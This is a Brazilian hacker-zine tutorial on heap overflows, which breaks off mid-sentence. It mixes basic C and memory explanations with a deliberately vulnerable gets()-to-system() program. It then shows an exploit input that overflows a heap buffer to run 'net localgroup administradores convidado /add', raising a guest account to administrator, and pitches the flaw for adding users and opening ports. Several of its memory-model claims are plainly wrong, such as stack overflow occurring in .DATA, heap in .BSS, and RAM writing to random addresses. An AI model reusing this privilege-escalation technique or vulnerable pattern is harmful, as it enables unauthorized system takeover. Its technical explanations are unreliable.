+================================ ***** ====================================+ |=-------------------=[ <-|-> Corporacao Vibora <-|-> ]=-------------------=| < _====================================_ > |=---------------=[ A CENA HACKER UNDERGROUND BRASILEIRA ]=----------------=| < ====================================== [s] > | SUA EMPRESA EM BOAS MAOS | +===========================================================================+ YOUR COMPANY IN GOOD HANDS, OUR HANDS. Titulo : Heap Overflow (Parity bit edition\r\n) Autor : 6_Bl4ck9_f0x6 A.k.a : David Diego Email : b-fox@bol.com.br "Uma noite destas, vindo da cidade para o Engenho Novo, encontrei num trem da Central um rapaz aqui dobairro, que eu conheco de vista e de chapeu. Cumprimentou-me, sentou-se ao pe de mim, falou da lua e dos ministros, e acabou recitando-me versos. A viagem era curta, e os versos pode ser que nao fossem inteiramente maus. Sucedeu, porem, que, como eu estava cansado, fechei os olhos tres ou quatro vezes; tanto bastou para que ele interrompesse a leitura e metesse os versos no bolso." -- Dom Casmurro de Machado de Assis [+ ======X============X===============X===== +] INDICE [+ ======X============X===============X===== +] <-+-> 1.0 - Introducao <-+-> 2.0 - Possiveis utilidades <-+-> 3.0 - Modelos de memoria <-+-> 4.0 - Entendendo os enderecos de memoria <-+-> 5.0 - Overview sobre alocacao dinamica e o utilizacao de static <-+-> 6.0 - Entendendo o SetUID <-+-> 6.1 - .Movie <-+-> 7.0 - Desenvolvendo exploits de Denial of Service <-+-> 8.0 - Useful links and references 1.0 - introducao Os pre-requisitos basicos para a leitura e "entendimento" deste texto e' o conhecimento em nivel intermediario da linguagem de programacao 'C', e conhecimento previo de sistemas Unix/Linux e Windows, pois neste texto contera' exemplos de exploracao em ambas as plata- formas. Com esse texto pretendo abordar o funcionamento de uma das inumeras falhas de seguranca mais exploradas, o bug de 'heap overflow', que comumente e' chamado de 'Buffer Overrun' por uma grande parte da comunidade de seguranca. Dedicarei esse texto a F3rGO, Dark_Side, Darkness, Cheat Struck, Emmanuely, AciDmuD, VooDoo, Osmar Ferrante e a todos que fizeram e que continuam fazendo da cena hacker brasileira, um cena forte. 1.0 - Introduction The basic requirements to read and learn the informations in this text is the basic knowledge about programming in C language and previous knowledge on Unix systems and Windows, because of this text to cointain examples of exploration in both plataforms. This text will cover the steps to exploit a flaw called 'Heap Overflow' also usually called Buffer Overrun by the security community. I offer this text to Dark_Side, Cheat Struck, Darkness, F3rGO, Emmanuely, AciDmuD, VooDoo and to all security experts from Brazil. 2.0 - Possiveis utilidades De 100 servidores na internet, como servidor de web, sql e ftp, no minimo uns 80 estao rodando sobre arquitetura Unix, por isso a importancia da obtencao de conhecimento em sistemas Unix, pela quantidade esmagadora de servidores. Com o conhecimento que aqui sera' descrito voce sabera' se utilizar dessa falha para adicionar usuarios ao sistema, abrir portas para um posterior acesso, entre varias outras acoes que, dependendo do seu nivel de conhecimento sobre Unix, serao quase infindaveis. A distribuicao Linux que aqui sera' utilizada deriva do Debian, chamada de 'kurumin Linux'. Veja informacoes nao tao relevantes (para o nosso proposito) sobre minha arquitetura: 2.0 - Possible utilities The most of the services in the internet like web servers, sql and ftp are running on Unixes. With this knowledge described below you'll know to use this flaw to add a user to system, for open ports, between many others good actions. The Linux distribution used in my samples is called Kurumin Linux (Based on Debian Linux). See below informations without importance to our purpose, just for convenience (such as the Windows). sh-3.1$ cat /proc/cpuinfo processor : 0 vendor_id : AuthenticAMD cpu family : 15 model : 44 model name : AMD Sempron(tm) Processor 2600+ stepping : 2 cpu MHz : 1599.957 cache size : 128 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow pni lahf_lm ts ttp tm stc bogomips : 3203.58 root@Black_Machine:/home/Black_Fox# cat /etc/issue Kurumin Linux, Debian Etch \n \l http://www.guiadohardware.net sh-3.1$ uname -a Linux Black_Machine 2.6.18.1-slh-up-2 #1 PREEMPT Wed Oct 25 18:46:42 CEST 2006 i686 GNU/Linux sh-3.1$ arch i686 sh-3.1$ 3.0 - Modelos de memoria O modelo usual de memoria depende muito do sistema, me utilizarei como base inicial o modelo no "Linux/i186" apenas para demonstracao, apesar dos modelos usuais de memoria serem diferentes para cada sistema, o ponto chave e' o mesmo, Heap e' um local, stack e' outro. A regiao onde ocorre o Heap Overflow armazena dados em enderecos sequenciais +-----------+ | .DATA | <-- Regiao onde ocorre o Stack overflow +-----------+ | .BSS | <-- Regiao onde ocorre o Heap Overflow +-----------+ | .TEXT | <-- Instrucoes em Assembly (Written in Assembly) +-----------+ O "stack" overflow ocorre na registao .DATA, o 'Heap overflow' ocorre na regisao '.BSS', o comum e' usarmos heap overflow p/ sobrescrever os enderecos de memoria na regiao .BSS "longe" de seus "limites", pois ainda existe a possibilidade de manipulacao de colisoes entre heap e stack, mas nao e' o foco deste texto descrever tal tecnica. A regiao '.TEXT' armazena o codigo do programa em assembly, codigos esses que sao representacoes diretas das instrucoes de maquina, instrucoes essas que por sua vez sao nomeadas de Operational Codes - Codigos Operacionais, ou simplesmente "OpCodes" . Exemplo: OpCode Assembly 90 NOP O NOP e' convertido em 90 ("Instrucao de maquina"). '90' e' um set instruction (Na linguagem de programacao "Assembly") em formado OpCode, e esta em hexadecimal, e equivale a 1 byte, como tantas outras, tal como MOV. Essas instrucoes equivalem a 1 byte porque dois digitos em hexadecimal equivalem a 8 bits. Para denotarmos valores hexadecimais utilizamos a notacao '\x' (especificador de constantes hexadecimais em C) dentro da string. "\x41" <-- A "\x42" <-- B "\x43" <-- C -- cut -- #include main (){ printf ("%c, %c e %c\n", 0x41, 0x42, 0x43); } -- cut -- Resultado: A, B e C -- cut -- #include main (){ printf ("%x, %x e %x\n", 'A', 'B', 'C'); } -- cut -- Resultado: 41, 42 e 43 O processador trabalha em nivel hexadecimal/opcodes, e a base numerica utilizada pelo processador para enderecamento na memoria obviamente que tambem e' essa. Abaixo voce podera' ver um layout de memoria classico para processos. +-------------------+ | | <----+ | Stack (Pilha) | | | | | + | + | | | | | | V | | | | | < > | | | | | ^ | | | | | | + | + | | | | | Heap | | | | | +-------------------------+ +-------------------+ +-----< Classical Memory Layout | | Variaveis globais | | | ======================= | +-------------------+ | +-------------------------+ |Codigo do programa | <----+ +-------------------+ Como citei anteriormente, lhe dizer a disposicao fisica global de memoria, nao e' possivel, pois memoria varia de acordo com as implementacoes do C/Compilador, CPU e "ambiente". Esse e' o modelo ideal para termos em mente. A regiao 'Codigo do Programa' armazena o codigo executavel do programa. Na regiao "variaveis globais" e' onde todas as variaveis globais sao armazenadas. A area 'Stack' e' a responsavel por salvar o endereco de retorno das subrotinas, passar parametros para funcoes, criar variaveis locais, etc. A heap e' a area responsavel por armazenar dados alocados dinamicamente, e enderecos de variaveis esticas (static). Como voce pode perceber atraves das setas neste diagrama acima, os ponteiros Heap e Stack gravam dados convergindo em sentido as suas respectivas areas de alocacao de memoria disponiveis, podendo ocasionar colisoes, pois essas areas gravao dados convergindo para a mesma direcao, a stack grava dados a partir do maior endereco (0xffffffff) para o menor (0x00000000) e a Heap faz o oposto, partindo do menor endereco (0x00000000) para o maior 0xffffffff. 4.0 - Entendendo os enderecos de memoria Vou falar primeiramente da unidade de base 16, ou seja, o hexadecimal. Tomarei como exemplo a base decimal. 0 1 2 3 4 5 6 7 8 9 Observe que o 9 e' o ultimo numero da dezena, depois os numeros comecarao a ser repetidos. Nesse caso o 1 (10). Observe que comecei do 0, pois para representar o 10 precisei inserir o 1 ao lado do '0'. A base 16 e' a base numerica utilizada para enderecamento na memoria, a base hexadecimal propriamente dita. A memoria de qualquer computador e' dividida em "segmentos", cada seguimento tem 64k de tamanho. Veja a tabela: +---+-----------------------------------------------------------+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F | +---+-----------------------------------------------------------+ | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | | | | | | | | +_--------------------------------------+ V V V V V V | | | 10| 11| 12| 13| 14| 15| | +_---------------------_+ | +-- > A memoria comeca a ser escrita a partir do endereco 0 em cada seguimento, assim fazendo o '0' ser o 1 e o F ser o 16. Isso quando estamos nos referindo a memoria do sistema. Um outro exemplo: Para contagem: +---> Os numeros comecam a ser repetidos em hexa | 2044 = 7FC | 1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 <--- Hexadecimal 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <--- Decimal Para enderacamento: 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B... | +--> 16 Quando fazemos calculos com valores hexadecimais nao podemos usar o '0' para representar o 1, apenas em enderecamento. 1024 bytes = 1 KB. Para saber quantos bytes existem dentro de determinado numero de KBs, faca isso: 1024 bytes * 64K = 65536 bytes Digite FFFF em 'Hex' na calc.exe e logo em seguida mude para 'Dec', vera 65535. A calcu- ladora nao conta '0', mas no nosso calculo acima existe o '0' porque '1024' bytes * '64'k equivalem e 6553'6' bytes. Como voce pode notar a memoria comeca a ser escrita a partir do endereco 0. Sempre multiplique o numero de KBs por '1024' que representara os bytes. Tendo em vista que 8 bits equivalem a 1 byte, para sabermos quantos bits existem dentro de um determinado numero de bytes, basta multiplicarmos o numero de bytes por 8, que e' o numero de bits. Veja: 2 bytes * 8 bits = 16 bits O programa abaixo exibe onde os dados inseridos por nos sao gravados na memoria. -- I_love.c -- #include #include #include int main (int argc, char **argv){ char heaven[777]; if (argc != 2){ fprintf (stderr, "Use: %s \n", *(argv+0)); exit (-1);} memcpy (&heaven, *(argv+1), sizeof (heaven)); fprintf (stdout, "Welcome to Heaven %s\n\n", *(argv+1)); puts ("This is your heaven\n"); int Te_amo=0; for (Te_amo;Te_amo<=strlen (heaven);Te_amo+=1){ printf ("%X -> %c\n", &heaven[Te_amo], heaven[Te_amo]);} return (0);} -- cut -- 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ gcc -o love I_Love.c 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love Use: ./love 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love David Welcome to Heaven David This is your heaven BFA69E73 -> D BFA69E74 -> a BFA69E75 -> v BFA69E76 -> i BFA69E77 -> d BFA69E78 -> 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ Compilarei e executarei este mesmo programa no windows, repare nos enderecos de memoria: C:\Documents and Settings\David>gcc c:\I_Love.c -o love C:\Documents and Settings\David>love.exe Use: love.exe C:\Documents and Settings\David>love.exe "<->6_Bl4ck9_f0x6<->" Welcome to Heaven <->6_Bl4ck9_f0x6<-> This is your heaven 22FC60 -> < 22FC61 -> - 22FC62 -> > 22FC63 -> 6 22FC64 -> _ 22FC65 -> B 22FC66 -> l 22FC67 -> 4 22FC68 -> c 22FC69 -> k 22FC6A -> 9 22FC6B -> _ 22FC6C -> f 22FC6D -> 0 22FC6E -> x 22FC6F -> 6 22FC70 -> < 22FC71 -> - 22FC72 -> > 22FC73 -> C:\Documents and Settings\David> Como foi anteriormente citado, os dados sao gravados na memoria a patir do endereco '0' a 'F'. Observe que a primeira letra da string <->6_Bl4ck9_f0x6<-> e' salva no endereco 22FC60, essa faixa se inicia com '0' e vai ate' o 'F' (22FC6F -> 6), depois o valor volta a ser '0' ( 22FC70 -> < ), pois em hexadecimal o maior numero e' F. Repare que o numero a esquerda era 6 (22FC'6'F), quando uma linha de endereco chega a F, alem deste endereco voltar a ser 0, o numero que esta' ao lado deste, e' incrementado (Neste caso), ou seja, 22FC'7'0. Existem implementacoes que salvam dados do maior endereco (0xffffffff) para o menor (0x00000000 <- Nao chega ate' aqui porque o sistema tambem usa memoria, as- sim fechando o programa.) e vice-versa. A maneira de alocacao de dados para variaveis na memoria varia muito, os fatores que interferem nesse caso ja fora citados (Compilador/C, Plataforma, etc...). A stack armazena dados do maior endereco ate' o menor, ou seja, o programa "tende" a chegar ao endereco 0x00, mas isso e' impossivel pois estes enderecos iniciais sao reservados para o sistema, assim ocasionando o imediato fechamento da apli- cacao violadora. Para nos referirmos a enderecos de memoria devemos especificar que se trata de valores hexadecimais, portanto devemos especificar o '0x' (notacao utilizada como desinencia para algarismos em hexadecimal). Veja: main (){ printf ("%d", 0xA); } Resultado: 10 No exemplo acima (I_love.c), matrizes de caracteres ("strings") sao armazenadas em ende- recos sequenciais/continuos. Em hardware de 32 bits uma faixa de memoria cheia e' equiva- lente ao hexadecimal 0xffffffff, pois dois digitos hexa equivalem a um byte ('8' bits), a faixa de enderecos acima possui '8' digitos em hexa, isso e' igual a 4 bytes, 32 bits. Em hardware de 16 bits um numero inteiro ocupa 2 bytes na memoria porque 0xffff e' o maior endereco em hardware de 16 bits, tendo em vista que uma variavel do tipo int ocupa uma faixa intEIRA na memoria. Cada tipo de variavel ocupa uma quantidade de dados na memoria. Um caractere (char) ocupa apenas 1 byte na memoria, uma variavel do tipo int, ja citada, ocupa quatro bytes contiguos (Hardware de 32 bits), uma variavel do tipo long tambem ocupa 4 bytes, double 8 bytes, etc. Um ponteiro sempre tera' o tamanho de 4 bytes em hardwares de 32 bits, nao importa o seu tipo. Voce podera' ver a quantidade de bytes que uma variavel ocupa no seu sistema usando o operador sizeof(). #include main (){ printf ("char : %d byte\n", sizeof (char)); printf ("int : %d bytes\n", sizeof (int)); printf ("float : %d bytes\n", sizeof (float)); printf ("double : %d bytes\n", sizeof (double)); printf ("int pointer : %d bytes\n", sizeof (int *)); printf ("double pointer : %d bytes\n", sizeof (double *)); } Resultado: sh-3.1$ gcc len.c sh-3.1$ ./a.out char : 1 byte int : 4 bytes float : 4 bytes double : 8 bytes int pointer : 4 bytes double pointer : 4 bytes Para uma melhor compreensao, darei um exemplo de alocacao de memoria para armazenar determinados tipos de variaveis, usando enderecos ficticios. -- corte aqui -- main (){ int numero=5; char letra='C';} -- cut here -- 0x00000000 <---- 0x00000001 |_____ Memoria relativa a variavel numero. 0x00000002 | Esses 4 bytes armazenam o numero 5. 0x00000003 <---- 0x00000004 0x00000005 0x00000006 0x00000007 0x00000008 0x00000009 0x0000000A 0x0000000B 0x0000000C 0x0000000D 0x0000000E 0x0000000F 0x00000010 <--------- Uma variavel do tipo char ocupa 1 byte na memoria 0x00000011 (0x00000010). O indice de matrizes em C e' '0' p/ referenciar o primeiro elemento da matrix porque matrizes sao alocadas a partir do endereco 0 na memoria (como visto). (...) FFFF FFFF = 4 bytes 1234 5678 +------<>----------------------<>-------------<>------------+ 0x00000000 <---- |Esse e' o espaco reservado para uma variavel inteira em | 0x00000001 |_____ |hardware de 32 bits. Cada faixa dessa equivale a 1 byte. | 0x00000002 | |Repare que um int equivale a 4 bytes nesse exemplo porque | 0x00000003 <---- |o endereco de memoria maximo e' 0xffffffff (8 algarismos | |em hexadecimal... 4 bytes). | +------<>----------------------<>-------------<>------------+ Como havia citado acima, as areas de memoria reservadas para matrizes costumam ser reservadas para alocacao a patir do endereco 0, por isso o indice em C e' '0'. Veja um exemplo com matrizes de caracteres (strings): -- Hundred.c -- #include int main (void){ char str1[]="My"; char str2[]="name"; char str3[]="is"; char str4[]="David"; int indice=0; for (indice;indice<=strlen (str1);indice+=1) printf ("%X -> %c\n", &str1[indice], str1[indice]); for (indice=0;indice<=strlen (str2);indice+=1) printf ("%X -> %c\n", &str2[indice], str2[indice]); for (indice=0;indice<=strlen (str3);indice+=1) printf ("%X -> %c\n", &str3[indice], str3[indice]); for (indice=0;indice<=strlen (str4);indice+=1) printf ("%X -> %c\n", &str4[indice], str4[indice]); return (0);} -- cut -- C:\>Hundred.exe 22FF60 -> M 22FF61 -> y 22FF62 -> <-- \0 Terminador de string 22FF50 -> n 22FF51 -> a 22FF52 -> m 22FF53 -> e 22FF54 -> <-- \0 22FF40 -> i 22FF41 -> s 22FF42 -> <-- \0 22FF30 -> D 22FF31 -> a 22FF32 -> v 22FF33 -> i 22FF34 -> d 22FF35 -> <-- 0 Repare que essas matrizes sao todas alocadas umas proximas das outras. Quando nao existe mais dados em uma determinada matriz entao a "matriz" vizinha e' alocada na memoria, e como voce pode perceber, a memoria procura o endereco seguinte que tenha '0' disponivel e aloca a segunda matriz e assim por diante. Observe os enderecos no Linux: -- cut this file here -- #include main (){ char letra='M'; int numero=5; double alundra=10.5; float *pointer; printf ("Endereco de letra : %p\n", &letra); printf ("Endereco de numero : %p\n", &numero); printf ("Endereco de alundra: %p\n", &alundra); printf ("Endereco de pointer: %p\n", &pointer); } -- cut here -- sh-3.1$ gcc Minority.c -o minory sh-3.1$ ./minory Endereco de letra : 0xbfbe2ddf Endereco de numero : 0xbfbe2dd8 Endereco de alundra: 0xbfbe2dd0 Endereco de pointer: 0xbfbe2dcc sh-3.1$ Veja que nao existe uma sequencia nos enderecos, isso se deve ao fato de uma memoria RAM - Ramdom Access Memory - Memoria de Acesso Aleatorio, como o proprio nome sugere, escrever em qualquer endereco de memoria disponivel para alocacao de forma aleatoria. No modelo de memoria que utilizaremos como "pista" para a exploracao os dados sao alocados/gravados na Heap em enderecos de memoria contigua, como as matrizes. A memoria anteriormente vista e' a memoria virtual, e como voce pode notar o esquema de enderecamento da mesma e' bastante simples, cada processo/programa possui um endereco na memoria virtual (como ja visto, parte de 0x00000000 em direcao a 0xffffffff), o que acontece e' que esse endereco e' mapeado para a memoria fisica no momento da execucao do processo. O limite maximo de memoria virtual para cada processo e' de dois GB (Giga bytes), como tambem ja citado o sistema tambem usa memoria virtual, ou seja, se utiliza de uma parte desses bytes virtuais. Como voce podera' claramente notar em qualquer debugger, a stack tambem faz parte da memoria virtual porque ela tambem e' enderecavel usando o esquema acima (0x00000000 a 0xffffffff). Mesmo o endereco virtual sendo convertido em endereco fisico na execucao do programa (Copia do mesmo para a memoria), nao devemos de forma alguma pre-julgar que o mesmo seja representante direto e estatico para cada pedaco da memoria fisica, porque a memoria virtual e' muito relativa, isso quer dizer, que uma variavel pode estar armazenada em um determinado endereco virtual, mas nada impede que outra variavel tambem esteja armazenada neste mesmo endereco virtual, o que acontece de fato e' que no momento da execucao do programa a memoria virtual mapeia os dados de cada uma para uma parte diferente na memoria fisica. Apesar de um programa nao compartilhar "literalmente" sua memoria virtual com outro, isso nao e' regra. 5.0 - Overview sobre alocacao dinamica e o utilizacao de static Alocacao dinamica como o proprio nome ja da a entender, nada mais e' que voce alocar/reservar memoria para determinadas constantes que sao passadas pelo usuario do programa em tempo de execucao (O termo tempo de execucao refere-se a eventos gerados durante a execucao de um pro- grama). Uma das funcoes em C utilizada para tal se chama 'malloc()', citada por se tratar da principal. Veja uma declaracao tradicional de ponteiro do tipo 'char': char *pointer; Esse ponteiro nao possui um limite para alocacao de dados definido, vou "mallocar"/alocar memoria para o mesmo e apos isso ele "pode armazenar" 5 bytes na memoria, veja: pointer=(char *)malloc (sizeof (char) * 5); O operador 'sizeof()' retorna um tamanho de variaveis, matrizes ou tamanho de tipos, ou seja, 1 * 5, tendo em vista a disponibilidade para armazenagem de um byte para variaveis declaradas com o especificador 'char'. Como estamos lidando com o valor de "retorno" do operador sizeof() precisaremos de um typecast '(char *)', que utilizado indica que os dados que serao posteriormente alocados no ponteiro sao bytes para caracteres, ou seja, o valor de "retorno da malloc()" sera' convertido em 'char', pois o ponteiro *pointer e' do tipo char. Vamos a um exemplo de alocacao de dados e "controle" dos mesmos ao serem passados para o ponteiro. -- cut -- #include #include #define says printf main (int argc_d, char **argv_d){ if (argc_d != 2){ says ("Uso: %s ",*(argv_d)); exit (-1);} if (strlen (*(argv_d+1)) > 5){ fprintf (stderr, "Seu nome possui mais de 5 letras\n"); return 0;} char *pointer; pointer=(char *)malloc (sizeof (char) * 5); strncpy (pointer, *(argv_d+1), 0x05); says ("Oi "); puts (pointer); free (pointer); // A funcao 'free()' libera a memoria alocada } -- cut -- Result in the windows: C:\>mac.exe Uso: mac.exe C:\>mac.exe David Oi David C:\>mac.exe David2 Seu nome possui mais de 5 letras C:\> O argumento inteiro da funcao malloc() reserva dados na area 'Heap' no modelo usual de memoria utilizado. Observe abaixo um outro exemplo de alocacao dinamica em C. char *strdup (const char *string); O que essa funcao faz e' basicamente alocar espaco na memoria referente a "string" e depois retornar um ponteiro para a tal. Essa funcao faz o mesmo que o malloc(), o que difere as duas e' que ao inves de alocarmos memoria com o 'malloc()' e nos utilizarmos de funcoes auxiliares para copia de dados, usamos o strdup() que aloca e copia os dados de uma unica vez. -- cut -- main (){ char *pointer; pointer= strdup ("Simples string"); /* Retorna a string devidamente alocada */ puts (pointer); // Imprime a string na shell free (pointer); // Libera a memoria alocada (Na heap) } -- cut -- Com relacao ao static: static char buffer[10]; Ira' alocar 10 bytes tambem "na heap", pois variaveis declaradas como estaticas, alocam espaco nessa regiao. Recordaremos agora o Stack Overflow (simples overview). -- quote -- .... char variavel[7]; < --- > tipo variavel[buffer]; Cada caractere que uma variavel do tipo char armazena equivale a 1 byte, a string "luzinha" contera' um total de 7 bytes sem contar com o terminador de string ('\0'). Sempre temos que reservar um byte no buffer para o terminador nulo (\0), ou seja: char variavel[8] = "luzinha\0"; Definimos acima que a variavel de nome 'variavel' sera' do tipo char e reservara' 8 bytes, ou seja, a variavel teria um buffer ( local de armazenamento na memoria ) responsavel por comportar 8 caracteres, pois cada caractere equivale a 1 byte. Caso aja a insercao de mais dados que um buffer pode suportar aparentemente nao acontece nada, pois o programa podera' aceitar (Nao exibira' nenhum alerta de erro, para ser mais especifico), mas ocorre o chamado buffer overflow, ou simplesmente, estouro de buffer, ocasionando a reescritura da area de memoria reservada para a variavel na stack. Exemplo: -------- overflow.c -------- #include main (void){ char str[3]; printf ("Estoure meu buffer [size buffer:3]:"); gets (str); printf ("%s",str);} ---------- cut ---------- Resultado: C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal) ab C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas nao existe emissao de alerta pelo sistema. 1234567891011 C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer Devido ao numero excessivo de bytes inseridos na memoria acabamos por alcansar o endereco de retorno na stack e o Windows XP SP1 emitiu a seguinte mensagem: O overflow.exe encontrou um problema e precisa ser fechado. -- corte aqui -- Ja que na Heap os enderecos sao armazenados em locais contiguos se desenvolvermos uma aplicacao que reserva memoria em uma regiao da Heap e nessa mesma aplicacao conter outra instrucao que tambem aloca memoria na mesma, os dados serao armazenados um apos o outro. Exemplo de alocacao de 10 bytes na Heap: char *pointer; pointer=(char *)malloc (10); Reservo mais 10: char *pointer2; pointer2=(char *)malloc (10); Estarao em enderecos visinhos na memoria. Veja um outro exemplo compilado sobre a plataforma Windows. -- cut -- #include main() { char *pt1, *pt2; pt1 = (char *) malloc (10); pt2 = (char *) malloc (8); system ("cls"); strcpy (pt1, "012345678"); strcpy (pt2, "1234567"); int i=0; fprintf (stdout, "\nCaractere --- Endereco Virtual\n\n"); for (i;i<= strlen (pt1);++i) printf ("%c --> %x\n", pt1[i], &pt1[i]); puts (""); for (i=0;i<= strlen (pt2);++i) printf ("%c --> %p\n", pt2[i], &pt2[i]); } -- cut -- Caractere --- Endereco Virtual 0 --> 3d24b0 1 --> 3d24b1 2 --> 3d24b2 3 --> 3d24b3 4 --> 3d24b4 5 --> 3d24b5 6 --> 3d24b6 7 --> 3d24b7 8 --> 3d24b8 --> 3d24b9 1 --> 003D2448 2 --> 003D2449 3 --> 003D244A 4 --> 003D244B 5 --> 003D244C 6 --> 003D244D 7 --> 003D244E --> 003D244F C:\>_ Dois detalhes seguem agora: O %p nos mostra os enderecos ('VIRTUAIS') de memoria em um formato completo (0x00000008), enquanto o %x apenas mostra os enderecos de memoria virtual "utilizados". O outro: -- cut -- #include main() { char *pt1; pt1 = (char *) malloc(sizeof (char) * 10); // Se a malloc() nao conseguir alocar o numero de bytes na memoria ela retorna um NULL (0) if (!pt1){ fprintf (stderr, "Memoria insuficiente\n"); exit (-1);} fprintf (stdout, "\n\"Caractere\" -- Endereco Virtual\n\n"); strcpy (pt1, "138ABCJ"); int i=0; for (i;i<=strlen (pt1);++i) printf ("%c --> %x\n", pt1[i], &pt1[i]); } -- cut -- Resultado: C:\>heap "Caractere" -- Endereco Virtual 1 --> 3d24b0 3 --> 3d24b1 8 --> 3d24b2 A --> 3d24b3 B --> 3d24b4 C --> 3d24b5 J --> 3d24b6 --> 3d24b7 C:\>_ Note que nao existe sequencia nos enderecos virtuais por razoes ja descritas, pois a sequencia nos enderecos sao referentes a memoria fisica referente a regiao heap, onde os enderecos sao armazenados de forma continua, na memoria virtual apenas existe uma sequencia explicita em enderecos virtuais de matrizes. Como pode ser observado o 'E' comercial ('&') escrito no codigo fonte acima 'retorna' o endereco de memoria de variaveis, enderecos esses que serao lidos (%x). O 'Estouro de Heap' ocorre de forma similar ao stack overflow, o que difere e' que ao inves de inserirmos mais dados do que foram reservados para uma variavel na stack, inserimos mais dados que um ponteiro "mallocado" pode armazenar, e isso faz com que estouremos os limites de memoria reservada para um ponteiro e assim alcansando os endereco dos ponteiros que foram mallocado vizinhos ao primeiro. O nome Heap Overflow *Transbordar de Heap* nada mais e' que uma alusao ao fato de "estourarmos/transbordarmos" os enderecos de memoria de um ponteiro mallocado na heap, pois os dados alocados ('mallocados()') dinamicamente na memoria, ficam nesta area, junto com as variaveis estaticas. Para ver enderecos "fisicos" de uma variavel ou matriz o codigo de controle %d em C. Imagine um programa que aloca dois ponteiros na memoria, esse mesmo programa pega dados digitados pelo usuario e copia os mesmos para o primeiro ponteiro, o segundo ponteiro e' usado para executar um comando do 'sistema logo apos a copia de dados para o primeiro ponteiro, esse segundo ponteiro ou variavel estatica e' mallocado depois do primeiro na heap, se nos enchermos o primeiro ponteiro de dados vamos alcancar o endereco do segundo ponteiro, no qual contem um comando do sistema (Por exemplo). Para encontrarmos esse tipo de falha basta inserirmos ao 'pt1' dados fazendo com que os mesmos transbordem a regiao de memoria referente numeros de bytes reservados, e ao termino disto, escreve- mos um comando qualquer, isso significa que estaremos escrevendo no endereco onde fica armazenado o comando depois de "estourar" a Heap ate' alcancarmos o endereco da instrucao que sera' executada pela funcao system(), isso faz com que 'system()' acabe por executar o que inserirmos. Se esta mesma aplicacao trabalhar com SetUID entao executamos comandos com os privilegios do dono do programa. Demonstrarei um exemplo de exploracao simples, no qual sobrescrevemos "ponteiros". Exemplo I.: Sobrescrevendo pointers. -- cut -- #include #include main (){ char *pointer_one; char *pointer_two; pointer_one= (char *) malloc (10); pointer_two= (char *) malloc (10); system ("cls & color a"); printf ("Endereco fisico de pointer_one: %d\n", pointer_one); printf ("Endereco fisico de pointer_two: %d\n", pointer_two); puts (""); fprintf (stdout, "Endereco virtual de pointer_one: %p\n", &pointer_one); fprintf (stdout, "Endereco virtual de pointer_two: %p\n", &pointer_two); sprintf (pointer_two, "echo Bem vindo a %s irmao", "Matrix"); puts ("\nMe diga seu nome:"); gets (pointer_one); system (pointer_two); } -- cut -- Execucao normal do programa: Endereco fisico de pointer_one: 4007096 Endereco fisico de pointer_two: 4007120 Endereco virtual de pointer_one: 0022FF74 Endereco virtual de pointer_two: 0022FF70 <--- Ponteiro ocupa 4 bytes na memoria. Me diga seu nome: David Bem vindo a Matrix irmao C:\> Observe os enderecos acima. 4007096 --> pointer_one 4007120 --> pointer_two A heap armazena dados do menor endereco para o maior nesse caso. Veja que o primeiro ponteiro declarado foi a pointer_one, portanto ele que sera' alocado primeiro. Repare agora que o pointer 'pointer_two' se inicia exatamente 24 bytes dpois do buffer1. 4007096 + 24 = 4007120 (4007120 e' o endereco de pointer_two) "Nos" ao escrevermos o codigo do programa nao reservamos/mallocamos 24 bytes na memoria, na verdade apenas malocamos na heap 10 bytes, o que acontece e' que esses 14 bytes adicionais sao usados pela syscall (chamada de sistema) 'malloc' para permitir que a memoria retorne ao uso geral quando a mesma for liberada ('free()'), esses bytes extras variam de acordo com o ambiente. Agora vamos a exploracao. C:\>call heap_overflow.exe Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 Endereco virtual de pointer_one: 0022FF74 Endereco virtual de pointer_two: 0022FF70 Me diga seu nome: Meu nome e 6_Bl4ck9_f0x6net localgroup administradores convidado /add Comando concluído com êxito. C:\>net localgroup administradores Nome de alias administradores Comentário Membros ------------------------------------------------------------------------------- Administrador Convidado David Comando concluído com êxito. C:\> O comando 'net localgroup administradores convidado /add' e' o comando que eleva os privilegios da conta de convidado, nesse caso. 'net' (digite net /?' para ver um leque de possibilidades que o windows dispoe) localgroup (parametro do utilitario 'net' que visualiza e modifica informacoes sobre grupos) administradores (Grupo de 'admins') convidado (nome da conta que pretendo inserir no grupo de admins) /add addiciona o user convidado ao grupo de administradores. Repare no seguinte: Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 O pointer2 comeca 24 bytes depois do primeiro, entao se digitarmos mais de 24 caracteres (cada um equivalente a 1 byte) transbordaremos os enderecos na Heap. Um exeplo mais explicativo: Meu nome e 6_Bl4ck9_f0x6net... 0123456789ABCDEF01234567 Meu nome e 6_Bl4ck9_f0x6net... 123456789'123456789'1234 ^________^^________^^__^ | | || 10 bytes 10 bytes 4 bytes = 24. O 'n' estara' no endreco do comando. Bem, ja que sabemos que a funcao system() executa o comando que esta' no endereco 4007128, que esta' localizado ao lado do pointer_one, "ja que o mesmo foi declarado depois deste", entao nos alcancamos o endereco de memoria 